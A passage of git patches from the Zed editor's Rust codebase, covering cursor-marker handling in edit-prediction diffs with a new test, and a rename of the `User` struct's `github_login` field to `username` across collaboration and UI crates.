+                            } else {
+                                pending_text.push_str(&remaining[..matched_len]);
+                                edits.push((pending_range, pending_text.into()));
+                                remaining = &remaining[matched_len..];
+                            }
+                        }
+                    }
+
+                    while let Some(marker_offset) = remaining.find(INLINE_CURSOR_MARKER) {
+                        output.push_str(&remaining[..marker_offset]);
                         cursor_position.get_or_insert_with(|| {
-                            PredictedCursorPosition::new(range.start, marker_offset)
+                            PredictedCursorPosition::new(range.start, output.len())
                         });
-                        let text = text.replace(INLINE_CURSOR_MARKER, "");
-                        if range.start != range.end || !text.is_empty() {
-                            edits.push((range, text.into()));
-                        }
+                        remaining = &remaining[marker_offset + INLINE_CURSOR_MARKER.len()..];
+                    }
+
+                    let marker_prefix_len = (1..=INLINE_CURSOR_MARKER.len().min(remaining.len()))
+                        .rev()
+                        .find(|prefix_len| {
+                            remaining.ends_with(&INLINE_CURSOR_MARKER[..*prefix_len])
+                        });
+                    if let Some(marker_prefix_len) = marker_prefix_len {
+                        let marker_start = remaining.len() - marker_prefix_len;
+                        output.push_str(&remaining[..marker_start]);
+                        pending_marker = Some((
+                            range.clone(),
+                            remaining[marker_start..].to_string(),
+                            output.len(),
+                        ));
                     } else {
-                        edits.push((range, text));
+                        output.push_str(remaining);
+                    }
+
+                    if range.start.to_offset(snapshot) != range.end.to_offset(snapshot)
+                        || !output.is_empty()
+                    {
+                        edits.push((range, output.into()));
                     }
                 }
+                if let Some((range, text, _)) = pending_marker {
+                    edits.push((range, text.into()));
+                }
             }
             DiffEvent::FileEnd { renamed_to } => {
                 anyhow::ensure!(
@@ -380,7 +443,7 @@ mod tests {
     use super::*;
     use gpui::TestAppContext;
     use indoc::indoc;
-    use language::ToOffset as _;
+
     use pretty_assertions::assert_eq;
     use project::{FakeFs, Project};
     use serde_json::json;
@@ -540,6 +603,45 @@ mod tests {
         });
     }
 
+    #[gpui::test]
+    async fn test_prediction_edits_for_single_file_diff_drops_marker_only_edit(
+        cx: &mut TestAppContext,
+    ) {
+        let fs = init_test(cx);
+        fs.insert_tree(
+            path!("/root"),
+            json!({
+                "file": "Name</Update>\n",
+            }),
+        )
+        .await;
+        let project = Project::test(fs, [path!("/root").as_ref()], cx).await;
+
+        let diff = indoc! {r#"
+            --- a/file
+            +++ b/file
+            @@ ... @@
+            -Name</Update>
+            +<|user_cursor|>Name</Update>
+        "#};
+
+        let (buffer, snapshot, edits, cursor_position) =
+            prediction_edits_for_single_file_diff(diff, &project, &mut cx.to_async())
+                .await
+                .unwrap()
+                .unwrap();
+
+        assert!(edits.is_empty());
+        let cursor_position = cursor_position.unwrap();
+        assert_eq!(cursor_position.anchor.to_offset(&snapshot), 0);
+        assert_eq!(cursor_position.offset, 0);
+
+        buffer.update(cx, |buffer, cx| buffer.edit(edits, None, cx));
+        buffer.read_with(cx, |buffer, _cx| {
+            assert_eq!(buffer.text(), "Name</Update>\n");
+        });
+    }
+
     #[gpui::test]
     async fn test_prediction_edits_for_single_file_diff_does_not_treat_completed_literal_marker_as_cursor(
         cx: &mut TestAppContext,

From 53e4d34a71f61f13572919c04335e9da838623e6 Mon Sep 17 00:00:00 2001
From: Marshall Bowers <git@maxdeviant.com>
Date: Mon, 29 Jun 2026 16:21:46 -0400
Subject: [PATCH 169/772] client: Add `username` to `User` and start using it
 (#60107)

This PR adds a `username` field to the `User` and starts using it
instead of the `github_login`.

Closes CLO-952.

Release Notes:

- N/A
---
 crates/channel/src/channel_store.rs           |  2 +-
 crates/client/src/user.rs                     | 40 ++++-----
 .../collab/tests/integration/collab_tests.rs  |  4 +-
 .../collab/tests/integration/editor_tests.rs  |  4 +-
 .../tests/integration/integration_tests.rs    | 27 +++----
 .../collab/tests/integration/test_server.rs   |  6 +-
 crates/collab_ui/src/collab_panel.rs          | 81 +++++++++----------
 .../src/collab_panel/channel_modal.rs         | 11 +--
 .../src/collab_panel/contact_finder.rs        |  2 +-
 .../incoming_call_notification.rs             |  2 +-
 .../project_shared_notification.rs            |  2 +-
 crates/git_ui/src/git_panel.rs                |  4 +-
 crates/title_bar/src/collab.rs                |  6 +-
 crates/title_bar/src/title_bar.rs             | 14 ++--
 crates/workspace/src/pane_group.rs            |  8 +-
 crates/workspace/src/shared_screen.rs         |  4 +-
 16 files changed, 104 insertions(+), 113 deletions(-)

diff --git a/crates/channel/src/channel_store.rs b/crates/channel/src/channel_store.rs
index e73809e6047dfe..7d6632de4a719e 100644
--- a/crates/channel/src/channel_store.rs
+++ b/crates/channel/src/channel_store.rs
@@ -124,7 +124,7 @@ impl ChannelMembership {
                 proto::channel_member::Kind::Member => 0,
                 proto::channel_member::Kind::Invitee => 1,
             },
-            username_order: &self.user.github_login,
+            username_order: &self.user.username,
         }
     }
 }
diff --git a/crates/client/src/user.rs b/crates/client/src/user.rs
index a2a8bf18d2aa6c..898a810e533406 100644
--- a/crates/client/src/user.rs
+++ b/crates/client/src/user.rs
@@ -56,7 +56,7 @@ pub struct ParticipantIndex(pub u32);
 #[derive(Default, Debug)]
 pub struct User {
     pub legacy_id: LegacyUserId,
-    pub github_login: SharedString,
+    pub username: SharedString,
     pub avatar_uri: SharedUri,
     pub name: Option<String>,
 }
@@ -79,13 +79,13 @@ impl PartialOrd for User {
 
 impl Ord for User {
     fn cmp(&self, other: &Self) -> std::cmp::Ordering {
-        self.github_login.cmp(&other.github_login)
+        self.username.cmp(&other.username)
     }
 }
 
 impl PartialEq for User {
     fn eq(&self, other: &Self) -> bool {
-        self.legacy_id == other.legacy_id && self.github_login == other.github_login
+        self.legacy_id == other.legacy_id && self.username == other.username
     }
 }
 
@@ -237,7 +237,7 @@ impl UserStore {
                                 let current_user_and_response = if let Some(response) = response {
                                     let user = Arc::new(User {
                                         legacy_id: user_id,
-                                        github_login: response.user.github_login.clone().into(),
+                                        username: response.user.username.clone().into(),
                                         avatar_uri: response.user.avatar_url.clone().into(),
                                         name: response.user.name.clone(),
                                     });
@@ -400,10 +400,11 @@ impl UserStore {
                             .retain(|contact| !removed_contacts.contains(&contact.user.legacy_id));
                         // Update existing contacts and insert new ones
                         for updated_contact in updated_contacts {
-                            match this.contacts.binary_search_by_key(
-                                &&updated_contact.user.github_login,
-                                |contact| &contact.user.github_login,
-                            ) {
+                            match this
+                                .contacts
+                                .binary_search_by_key(&&updated_contact.user.username, |contact| {
+                                    &contact.user.username
+                                }) {
                                 Ok(ix) => this.contacts[ix] = updated_contact,
                                 Err(ix) => this.contacts.insert(ix, updated_contact),
                             }
@@ -425,9 +426,8 @@ impl UserStore {
                         for user in incoming_requests {
                             match this
                                 .incoming_contact_requests
-                                .binary_search_by_key(&&user.github_login, |contact| {
-                                    &contact.github_login
-                                }) {
+                                .binary_search_by_key(&&user.username, |contact| &contact.username)
+                            {
                                 Ok(ix) => this.incoming_contact_requests[ix] = user,
                                 Err(ix) => this.incoming_contact_requests.insert(ix, user),
                             }
@@ -440,8 +440,8 @@ impl UserStore {
                         for request in outgoing_requests {
                             match this
                                 .outgoing_contact_requests
-                                .binary_search_by_key(&&request.github_login, |contact| {
-                                    &contact.github_login
+                                .binary_search_by_key(&&request.username, |contact| {
+                                    &contact.username
                                 }) {
                                 Ok(ix) => this.outgoing_contact_requests[ix] = request,
                                 Err(ix) => this.outgoing_contact_requests.insert(ix, request),
@@ -463,7 +463,7 @@ impl UserStore {
 
     pub fn has_contact(&self, user: &Arc<User>) -> bool {
         self.contacts
-            .binary_search_by_key(&&user.github_login, |contact| &contact.user.github_login)
+            .binary_search_by_key(&&user.username, |contact| &contact.user.username)
             .is_ok()
     }
 
@@ -482,19 +482,19 @@ impl UserStore {
     pub fn contact_request_status(&self, user: &User) -> ContactRequestStatus {
         if self
             .contacts
-            .binary_search_by_key(&&user.github_login, |contact| &contact.user.github_login)
+            .binary_search_by_key(&&user.username, |contact| &contact.user.username)
             .is_ok()
         {
             ContactRequestStatus::RequestAccepted
         } else if self
             .outgoing_contact_requests
-            .binary_search_by_key(&&user.github_login, |user| &user.github_login)
+            .binary_search_by_key(&&user.username, |user| &user.username)
             .is_ok()
         {
             ContactRequestStatus::RequestSent
         } else if self
             .incoming_contact_requests
-            .binary_search_by_key(&&user.github_login, |user| &user.github_login)
+            .binary_search_by_key(&&user.username, |user| &user.username)
             .is_ok()
         {
             ContactRequestStatus::RequestReceived
@@ -986,8 +986,8 @@ impl UserStore {
         let mut ret = HashMap::default();
         let mut missing_user_ids = Vec::new();
         for id in user_ids {
-            if let Some(github_login) = self.get_cached_user(id).map(|u| u.github_login.clone()) {
-                ret.insert(id, github_login);
+            if let Some(username) = self.get_cached_user(id).map(|u| u.username.clone()) {
+                ret.insert(id, username);
             } else {
                 missing_user_ids.push(id)
             }
@@ -1008,7 +1008,7 @@ impl User {
     fn new(message: proto::User) -> Arc<Self> {
         Arc::new(User {
             legacy_id: message.id,
-            github_login: message.github_login.into(),
+            username: message.username.into(),
             avatar_uri: message.avatar_url.into(),
             name: message.name,
         })
diff --git a/crates/collab/tests/integration/collab_tests.rs b/crates/collab/tests/integration/collab_tests.rs
index 8f72035c4339d4..c4c9f4d7d840f1 100644
--- a/crates/collab/tests/integration/collab_tests.rs
+++ b/crates/collab/tests/integration/collab_tests.rs
@@ -35,12 +35,12 @@ fn room_participants(room: &Entity<Room>, cx: &mut TestAppContext) -> RoomPartic
         let mut remote = room
             .remote_participants()
             .values()
-            .map(|participant| participant.user.github_login.clone().to_string())
+            .map(|participant| participant.user.username.clone().to_string())
             .collect::<Vec<_>>();
         let mut pending = room
             .pending_participants()
             .iter()
-            .map(|user| user.github_login.clone().to_string())
+            .map(|user| user.username.clone().to_string())
             .collect::<Vec<_>>();
         remote.sort();
         pending.sort();
diff --git a/crates/collab/tests/integration/editor_tests.rs b/crates/collab/tests/integration/editor_tests.rs
index 142c00cff5da18..28f9cd15758226 100644
--- a/crates/collab/tests/integration/editor_tests.rs
+++ b/crates/collab/tests/integration/editor_tests.rs
@@ -1881,7 +1881,7 @@ async fn test_share_project(
     let incoming_call_b = active_call_b.read_with(cx_b, |call, _| call.incoming());
     executor.run_until_parked();
     let call = incoming_call_b.borrow().clone().unwrap();
-    assert_eq!(call.calling_user.github_login, "user_a");
+    assert_eq!(call.calling_user.username, "user_a");
     let initial_project = call.initial_project.unwrap();
     active_call_b
         .update(cx_b, |call, cx| call.accept_incoming(cx))
@@ -1997,7 +1997,7 @@ async fn test_share_project(
     let incoming_call_c = active_call_c.read_with(cx_c, |call, _| call.incoming());
     executor.run_until_parked();
     let call = incoming_call_c.borrow().clone().unwrap();
-    assert_eq!(call.calling_user.github_login, "user_b");
+    assert_eq!(call.calling_user.username, "user_b");
     let initial_project = call.initial_project.unwrap();
     active_call_c
         .update(cx_c, |call, cx| call.accept_incoming(cx))
diff --git a/crates/collab/tests/integration/integration_tests.rs b/crates/collab/tests/integration/integration_tests.rs
index dac33f9855b303..c4650971d2aabb 100644
--- a/crates/collab/tests/integration/integration_tests.rs
+++ b/crates/collab/tests/integration/integration_tests.rs
@@ -126,7 +126,7 @@ async fn test_basic_calls(
 
     let mut incoming_call_b = active_call_b.read_with(cx_b, |call, _| call.incoming());
     let call_b = incoming_call_b.next().await.unwrap().unwrap();
-    assert_eq!(call_b.calling_user.github_login, "user_a");
+    assert_eq!(call_b.calling_user.username, "user_a");
 
     // User B connects via another client and also receives a ring on the newly-connected client.
     let _client_b2 = server.create_client(cx_b2, "user_b").await;
@@ -135,7 +135,7 @@ async fn test_basic_calls(
     let mut incoming_call_b2 = active_call_b2.read_with(cx_b2, |call, _| call.incoming());
     executor.run_until_parked();
     let call_b2 = incoming_call_b2.next().await.unwrap().unwrap();
-    assert_eq!(call_b2.calling_user.github_login, "user_a");
+    assert_eq!(call_b2.calling_user.username, "user_a");
 
     // User B joins the room using the first client.
     active_call_b
@@ -190,7 +190,7 @@ async fn test_basic_calls(
 
     // User C receives the call, but declines it.
     let call_c = incoming_call_c.next().await.unwrap().unwrap();
-    assert_eq!(call_c.calling_user.github_login, "user_b");
+    assert_eq!(call_c.calling_user.username, "user_b");
     active_call_c.update(cx_c, |call, cx| call.decline_incoming(cx).unwrap());
     assert!(incoming_call_c.next().await.unwrap().is_none());
 
@@ -236,7 +236,7 @@ async fn test_basic_calls(
 
     // User C accepts the call.
     let call_c = incoming_call_c.next().await.unwrap().unwrap();
-    assert_eq!(call_c.calling_user.github_login, "user_a");
+    assert_eq!(call_c.calling_user.username, "user_a");
     active_call_c
         .update(cx_c, |call, cx| call.accept_incoming(cx))
         .await
@@ -677,7 +677,7 @@ async fn test_room_uniqueness(
 
     let mut incoming_call_b = active_call_b.read_with(cx_b, |call, _| call.incoming());
     let call_b1 = incoming_call_b.next().await.unwrap().unwrap();
-    assert_eq!(call_b1.calling_user.github_login, "user_a");
+    assert_eq!(call_b1.calling_user.username, "user_a");
 
     // Ensure calling users A and B from client C fails.
     active_call_c
@@ -739,7 +739,7 @@ async fn test_room_uniqueness(
         .unwrap();
     executor.run_until_parked();
     let call_b2 = incoming_call_b.next().await.unwrap().unwrap();
-    assert_eq!(call_b2.calling_user.github_login, "user_c");
+    assert_eq!(call_b2.calling_user.username, "user_c");
 }
 
 #[gpui::test(iterations = 10)]
@@ -1873,7 +1873,7 @@ async fn test_active_call_events(
         vec![room::Event::RemoteProjectShared {
             owner: Arc::new(User {
                 legacy_id: client_a.user_id().unwrap(),
-                github_login: "user_a".into(),
+                username: "user_a".into(),
                 avatar_uri: "avatar_a".into(),
                 name: None,
             }),
@@ -1892,7 +1892,7 @@ async fn test_active_call_events(
         vec![room::Event::RemoteProjectShared {
             owner: Arc::new(User {
                 legacy_id: client_b.user_id().unwrap(),
-                github_login: "user_b".into(),
+                username: "user_b".into(),
                 avatar_uri: "avatar_b".into(),
                 name: None,
             }),
@@ -2281,12 +2281,7 @@ async fn test_room_location(
         room.read_with(cx, |room, _| {
             room.remote_participants()
                 .values()
-                .map(|participant| {
-                    (
-                        participant.user.github_login.to_string(),
-                        participant.location,
-                    )
-                })
+                .map(|participant| (participant.user.username.to_string(), participant.location))
                 .collect()
         })
     }
@@ -6393,7 +6388,7 @@ async fn test_contacts(
                 .iter()
                 .map(|contact| {
                     (
-                        contact.user.github_login.clone().to_string(),
+                        contact.user.username.clone().to_string(),
                         if contact.online { "online" } else { "offline" },
                         if contact.busy { "busy" } else { "free" },
                     )
@@ -6629,7 +6624,7 @@ async fn test_join_call_after_screen_was_shared(
 
     let mut incoming_call_b = active_call_b.read_with(cx_b, |call, _| call.incoming());
     let call_b = incoming_call_b.next().await.unwrap().unwrap();
-    assert_eq!(call_b.calling_user.github_login, "user_a");
+    assert_eq!(call_b.calling_user.username, "user_a");
 
     // User A shares their screen
     let display = gpui::TestScreenCaptureSource::new();
diff --git a/crates/collab/tests/integration/test_server.rs b/crates/collab/tests/integration/test_server.rs
index de4c4a4e165b5c..62169c9a9389c6 100644
--- a/crates/collab/tests/integration/test_server.rs
+++ b/crates/collab/tests/integration/test_server.rs
@@ -725,17 +725,17 @@ impl TestClient {
                 current: store
                     .contacts()
                     .iter()
-                    .map(|contact| contact.user.github_login.clone().to_string())
+                    .map(|contact| contact.user.username.clone().to_string())
                     .collect(),
                 outgoing_requests: store
                     .outgoing_contact_requests()
                     .iter()
-                    .map(|user| user.github_login.clone().to_string())
+                    .map(|user| user.username.clone().to_string())
                     .collect(),
                 incoming_requests: store
                     .incoming_contact_requests()
                     .iter()
-                    .map(|user| user.github_login.clone().to_string())
+                    .map(|user| user.username.clone().to_string())
                     .collect(),
             })
     }
diff --git a/crates/collab_ui/src/collab_panel.rs b/crates/collab_ui/src/collab_panel.rs
index 0958587a5ca6f6..6a0a32c3933d92 100644
--- a/crates/collab_ui/src/collab_panel.rs
+++ b/crates/collab_ui/src/collab_panel.rs
@@ -606,7 +606,7 @@ impl CollabPanel {
                 if let Some(user) = self.user_store.read(cx).current_user() {
                     self.match_candidates.clear();
                     self.match_candidates
-                        .push(StringMatchCandidate::new(0, &user.github_login));
+                        .push(StringMatchCandidate::new(0, &user.username));
                     let matches = fg_executor.block_on(match_strings(
                         &self.match_candidates,
                         &query,
@@ -648,7 +648,7 @@ impl CollabPanel {
                     .extend(room.remote_participants().values().map(|participant| {
                         StringMatchCandidate::new(
                             participant.user.legacy_id as usize,
-                            &participant.user.github_login,
+                            &participant.user.username,
                         )
                     }));
                 let mut matches = fg_executor.block_on(match_strings(
@@ -697,12 +697,14 @@ impl CollabPanel {
 
                 // Populate pending participants.
                 self.match_candidates.clear();
-                self.match_candidates
-                    .extend(room.pending_participants().iter().enumerate().map(
-                        |(id, participant)| {
-                            StringMatchCandidate::new(id, &participant.github_login)
-                        },
-                    ));
+                self.match_candidates.extend(
+                    room.pending_participants()
+                        .iter()
+                        .enumerate()
+                        .map(|(id, participant)| {
+                            StringMatchCandidate::new(id, &participant.username)
+                        }),
+                );
                 let matches = fg_executor.block_on(match_strings(
                     &self.match_candidates,
                     &query,
@@ -936,7 +938,7 @@ impl CollabPanel {
                 incoming
                     .iter()
                     .enumerate()
-                    .map(|(ix, user)| StringMatchCandidate::new(ix, &user.github_login)),
+                    .map(|(ix, user)| StringMatchCandidate::new(ix, &user.username)),
             );
             let matches = fg_executor.block_on(match_strings(
                 &self.match_candidates,
@@ -961,7 +963,7 @@ impl CollabPanel {
                 outgoing
                     .iter()
                     .enumerate()
-                    .map(|(ix, user)| StringMatchCandidate::new(ix, &user.github_login)),
+                    .map(|(ix, user)| StringMatchCandidate::new(ix, &user.username)),
             );
             let matches = fg_executor.block_on(match_strings(
                 &self.match_candidates,
@@ -994,7 +996,7 @@ impl CollabPanel {
                 contacts
                     .iter()
                     .enumerate()
-                    .map(|(ix, contact)| StringMatchCandidate::new(ix, &contact.user.github_login)),
+                    .map(|(ix, contact)| StringMatchCandidate::new(ix, &contact.user.username)),
             );
 
             let matches = fg_executor.block_on(match_strings(
@@ -1130,7 +1132,7 @@ impl CollabPanel {
             .current_user()
             .map(|user| user.legacy_id)
             == Some(user_id);
-        let tooltip = format!("Follow {}", user.github_login);
+        let tooltip = format!("Follow {}", user.username);
 
         let is_call_admin = ActiveCall::global(cx).read(cx).room().is_some_and(|room| {
             room.read(cx).local_participant().role == proto::ChannelRole::Admin
@@ -1154,7 +1156,7 @@ impl CollabPanel {
             Empty.into_any_element()
         };
 
-        ListItem::new(user.github_login.clone())
+        ListItem::new(user.username.clone())
             .start_slot(Avatar::new(user.avatar_uri.clone()))
             .child(render_participant_name_and_handle(user))
             .toggle_state(is_selected)
@@ -1659,9 +1661,9 @@ impl CollabPanel {
 
             if contact.online && !contact.busy {
                 let label = if in_room {
-                    format!("Invite {} to join", contact.user.github_login)
+                    format!("Invite {} to join", contact.user.username)
                 } else {
-                    format!("Call {}", contact.user.github_login)
+                    format!("Call {}", contact.user.username)
                 };
                 context_menu = context_menu.entry(label, None, {
                     let this = this.clone();
@@ -1679,7 +1681,7 @@ impl CollabPanel {
                     this.update(cx, |this, cx| {
                         this.remove_contact(
                             contact.user.legacy_id,
-                            &contact.user.github_login,
+                            &contact.user.username,
                             window,
                             cx,
                         );
@@ -3027,8 +3029,8 @@ impl CollabPanel {
     ) -> impl IntoElement {
         let online = contact.online;
         let busy = contact.busy || calling;
-        let github_login = contact.user.github_login.clone();
-        let item = ListItem::new(github_login.clone())
+        let username = contact.user.username.clone();
+        let item = ListItem::new(username.clone())
             .indent_level(1)
             .indent_step_size(px(20.))
             .toggle_state(is_selected)
@@ -3079,20 +3081,20 @@ impl CollabPanel {
             );
 
         div()
-            .id(github_login.clone())
+            .id(username.clone())
             .group("")
             .child(item)
             .tooltip(move |_, cx| {
                 let text = if !online {
-                    format!(" {} is offline", &github_login)
+                    format!(" {} is offline", &username)
                 } else if busy {
-                    format!(" {} is on a call", &github_login)
+                    format!(" {} is on a call", &username)
                 } else {
                     let room = ActiveCall::global(cx).read(cx).room();
                     if room.is_some() {
-                        format!("Invite {} to join call", &github_login)
+                        format!("Invite {} to join call", &username)
                     } else {
-                        format!("Call {}", &github_login)
+                        format!("Call {}", &username)
                     }
                 };
                 Tooltip::simple(text, cx)
@@ -3106,7 +3108,7 @@ impl CollabPanel {
         is_selected: bool,
         cx: &mut Context<Self>,
     ) -> impl IntoElement {
-        let github_login = user.github_login.clone();
+        let username = user.username.clone();
         let user_id = user.legacy_id;
         let is_response_pending = self.user_store.read(cx).is_contact_request_pending(user);
         let color = if is_response_pending {
@@ -3131,7 +3133,7 @@ impl CollabPanel {
                     .tooltip(Tooltip::text("Accept invite")),
             ]
         } else {
-            let github_login = github_login.clone();
+            let github_login = username.clone();
             vec![
                 IconButton::new("remove_contact", IconName::Close)
                     .on_click(cx.listener(move |this, _, window, cx| {
@@ -3142,7 +3144,7 @@ impl CollabPanel {
             ]
         };
 
-        ListItem::new(github_login.clone())
+        ListItem::new(username.clone())
             .indent_level(1)
             .indent_step_size(px(20.))
             .toggle_state(is_selected)
@@ -3150,7 +3152,7 @@ impl CollabPanel {
                 h_flex()
                     .w_full()
                     .justify_between()
-                    .child(Label::new(github_login))
+                    .child(Label::new(username))
                     .child(h_flex().children(controls)),
             )
             .start_slot(Avatar::new(user.avatar_uri.clone()))
@@ -3511,14 +3513,14 @@ impl CollabPanel {
                 let requester = user_store.get_cached_user(*sender_id)?;
                 Some((
                     Some(requester.clone()),
-                    format!("{} wants to add you as a contact", requester.github_login),
+                    format!("{} wants to add you as a contact", requester.username),
                 ))
             }
             Notification::ContactRequestAccepted { responder_id } => {
                 let responder = user_store.get_cached_user(*responder_id)?;
                 Some((
                     Some(responder.clone()),
-                    format!("{} accepted your contact request", responder.github_login),
+                    format!("{} accepted your contact request", responder.username),
                 ))
             }
             Notification::ChannelInvitation {
@@ -3531,7 +3533,7 @@ impl CollabPanel {
                     Some(inviter.clone()),
                     format!(
                         "{} invited you to join the #{channel_name} channel",
-                        inviter.github_login
+                        inviter.username
                     ),
                 ))
             }
@@ -3695,9 +3697,9 @@ fn render_tree_branch(
 
 fn render_participant_name_and_handle(user: &User) -> impl IntoElement {
     Label::new(if let Some(ref display_name) = user.name {
-        format!("{display_name} ({})", user.github_login)
+        format!("{display_name} ({})", user.username)
     } else {
-        user.github_login.to_string()
+        user.username.to_string()
     })
 }
 
@@ -4128,7 +4130,7 @@ impl CollabPanel {
                     string_entries.push(format!("  (invite) #{}{selected_marker}", channel.name));
                 }
                 ListEntry::CallParticipant { user, .. } => {
-                    string_entries.push(format!("  {}{selected_marker}", user.github_login));
+                    string_entries.push(format!("  {}{selected_marker}", user.username));
                 }
                 ListEntry::ParticipantProject {
                     worktree_root_names,
@@ -4143,20 +4145,13 @@ impl CollabPanel {
                     string_entries.push(format!("    (screen){selected_marker}"));
                 }
                 ListEntry::IncomingRequest(user) => {
-                    string_entries.push(format!(
-                        "  (incoming) {}{selected_marker}",
-                        user.github_login
-                    ));
+                    string_entries.push(format!("  (incoming) {}{selected_marker}", user.username));
                 }
                 ListEntry::OutgoingRequest(user) => {
-                    string_entries.push(format!(
-                        "  (outgoing) {}{selected_marker}",
-                        user.github_login
-                    ));
+                    string_entries.push(format!("  (outgoing) {}{selected_marker}", user.username));
                 }
                 ListEntry::Contact { contact, .. } => {
-                    string_entries
-                        .push(format!("  {}{selected_marker}", contact.user.github_login));
+                    string_entries.push(format!("  {}{selected_marker}", contact.user.username));
                 }
                 ListEntry::ContactPlaceholder => {}
             }
diff --git a/crates/collab_ui/src/collab_panel/channel_modal.rs b/crates/collab_ui/src/collab_panel/channel_modal.rs
index 94a843d5c16e80..6452d55d1ecebf 100644
--- a/crates/collab_ui/src/collab_panel/channel_modal.rs
+++ b/crates/collab_ui/src/collab_panel/channel_modal.rs
@@ -296,10 +296,11 @@ impl PickerDelegate for ChannelModalDelegate {
             Mode::ManageMembers => {
                 if self.has_all_members {
                     self.match_candidates.clear();
-                    self.match_candidates
-                        .extend(self.members.iter().enumerate().map(|(id, member)| {
-                            StringMatchCandidate::new(id, &member.user.github_login)
-                        }));
+                    self.match_candidates.extend(
+                        self.members.iter().enumerate().map(|(id, member)| {
+                            StringMatchCandidate::new(id, &member.user.username)
+                        }),
+                    );
 
                     let matches = cx.foreground_executor().block_on(match_strings(
                         &self.match_candidates,
@@ -422,7 +423,7 @@ impl PickerDelegate for ChannelModalDelegate {
                 .spacing(ListItemSpacing::Sparse)
                 .toggle_state(selected)
                 .start_slot(Avatar::new(user.avatar_uri.clone()))
-                .child(Label::new(user.github_login.clone()))
+                .child(Label::new(user.username.clone()))
                 .end_slot(h_flex().gap_2().map(|slot| {
                     match self.mode {
                         Mode::ManageMembers => slot
diff --git a/crates/collab_ui/src/collab_panel/contact_finder.rs b/crates/collab_ui/src/collab_panel/contact_finder.rs
index 56eb7679a6115d..22c09b285b91d3 100644
--- a/crates/collab_ui/src/collab_panel/contact_finder.rs
+++ b/crates/collab_ui/src/collab_panel/contact_finder.rs
@@ -167,7 +167,7 @@ impl PickerDelegate for ContactFinderDelegate {
                 .spacing(ListItemSpacing::Sparse)
                 .toggle_state(selected)
                 .start_slot(Avatar::new(user.avatar_uri.clone()))
-                .child(Label::new(user.github_login.clone()))
+                .child(Label::new(user.username.clone()))
                 .end_slot::<Icon>(icon_path.map(Icon::from_path)),
         )
     }
diff --git a/crates/collab_ui/src/notifications/incoming_call_notification.rs b/crates/collab_ui/src/notifications/incoming_call_notification.rs
index 089bcd5f73af3f..34e0b7716f4c83 100644
--- a/crates/collab_ui/src/notifications/incoming_call_notification.rs
+++ b/crates/collab_ui/src/notifications/incoming_call_notification.rs
@@ -127,7 +127,7 @@ impl Render for IncomingCallNotification {
             )
             .child(Label::new(format!(
                 "{} is sharing a project in Zed",
-                self.state.call.calling_user.github_login
+                self.state.call.calling_user.username
             ))),
         )
     }
diff --git a/crates/collab_ui/src/notifications/project_shared_notification.rs b/crates/collab_ui/src/notifications/project_shared_notification.rs
index 99a920b7fe80d0..00e5080f832857 100644
--- a/crates/collab_ui/src/notifications/project_shared_notification.rs
+++ b/crates/collab_ui/src/notifications/project_shared_notification.rs
@@ -126,7 +126,7 @@ impl Render for ProjectSharedNotification {
         let punctuation = if no_worktree_root_names { "" } else { ":" };
         let main_label = format!(
             "{} is sharing a project with you{}",
-            self.owner.github_login.clone(),
+            self.owner.username.clone(),
             punctuation
         );
 
diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index 800058f25f90e7..7efa8f9b42ae23 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -3766,7 +3766,7 @@ impl GitPanel {
                     .committer_name
                     .clone()
                     .or_else(|| participant.user.name.clone())
-                    .unwrap_or_else(|| participant.user.github_login.clone().to_string());
+                    .unwrap_or_else(|| participant.user.username.clone().to_string());
                 new_co_authors.push((name.clone(), email.clone()))
             }
         }
@@ -3788,7 +3788,7 @@ impl GitPanel {
             .name
             .clone()
             .or_else(|| user.name.clone())
-            .unwrap_or_else(|| user.github_login.clone().to_string());
+            .unwrap_or_else(|| user.username.clone().to_string());
         Some((name, email))
     }
 
diff --git a/crates/title_bar/src/collab.rs b/crates/title_bar/src/collab.rs
index ae503e4db758b3..3d498c6fd8922f 100644
--- a/crates/title_bar/src/collab.rs
+++ b/crates/title_bar/src/collab.rs
@@ -240,7 +240,7 @@ impl TitleBar {
                                 })
                                 .occlude()
                                 .tooltip({
-                                    let login = collaborator.user.github_login.clone();
+                                    let login = collaborator.user.username.clone();
                                     Tooltip::text(format!("Follow {login}"))
                                 }),
                         )
@@ -295,8 +295,8 @@ impl TitleBar {
                                     avatar.indicator(
                                         AvatarAudioStatusIndicator::new(ui::AudioStatus::Muted)
                                             .tooltip({
-                                                let github_login = user.github_login.clone();
-                                                Tooltip::text(format!("{} is muted", github_login))
+                                                let username = user.username.clone();
+                                                Tooltip::text(format!("{} is muted", username))
                                             }),
                                     )
                                 }),
diff --git a/crates/title_bar/src/title_bar.rs b/crates/title_bar/src/title_bar.rs
index ed4848c59a820d..8ccc710dbf80a0 100644
--- a/crates/title_bar/src/title_bar.rs
+++ b/crates/title_bar/src/title_bar.rs
@@ -755,13 +755,13 @@ impl TitleBar {
             .get(&host_user.legacy_id)?;
 
         Some(
-            Button::new("project_owner_trigger", host_user.github_login.clone())
+            Button::new("project_owner_trigger", host_user.username.clone())
                 .color(Color::Player(participant_index.0))
                 .label_size(LabelSize::Small)
                 .tooltip(move |_, cx| {
                     let tooltip_title = format!(
                         "{} is sharing this project. Click to follow.",
-                        host_user.github_login
+                        host_user.username
                     );
 
                     Tooltip::with_meta(tooltip_title, None, "Click to Follow", cx)
@@ -1216,7 +1216,7 @@ impl TitleBar {
         let user = user_store.read(cx).current_user();
 
         let user_avatar = user.as_ref().map(|u| u.avatar_uri.clone());
-        let user_login = user.as_ref().map(|u| u.github_login.clone());
+        let username = user.as_ref().map(|u| u.username.clone());
 
         let is_signed_in = user.is_some();
 
@@ -1268,7 +1268,7 @@ impl TitleBar {
         PopoverMenu::new("user-menu")
             .trigger(trigger)
             .menu(move |window, cx| {
-                let user_login = user_login.clone();
+                let username = username.clone();
                 let current_organization = current_organization.clone();
                 let organizations = organizations.clone();
                 let user_store = user_store.clone();
@@ -1282,15 +1282,15 @@ impl TitleBar {
 
                 ContextMenu::build(window, cx, |menu, _, _cx| {
                     menu.when(is_signed_in, |this| {
-                        let user_login = user_login.clone();
+                        let username = username.clone();
                         this.custom_entry(
                             move |_window, _cx| {
-                                let user_login = user_login.clone().unwrap_or_default();
+                                let username = username.clone().unwrap_or_default();
 
                                 h_flex()
                                     .w_full()
                                     .justify_between()
-                                    .child(Label::new(user_login))
+                                    .child(Label::new(username))
                                     .into_any_element()
                             },
                             move |_, cx| {
diff --git a/crates/workspace/src/pane_group.rs b/crates/workspace/src/pane_group.rs
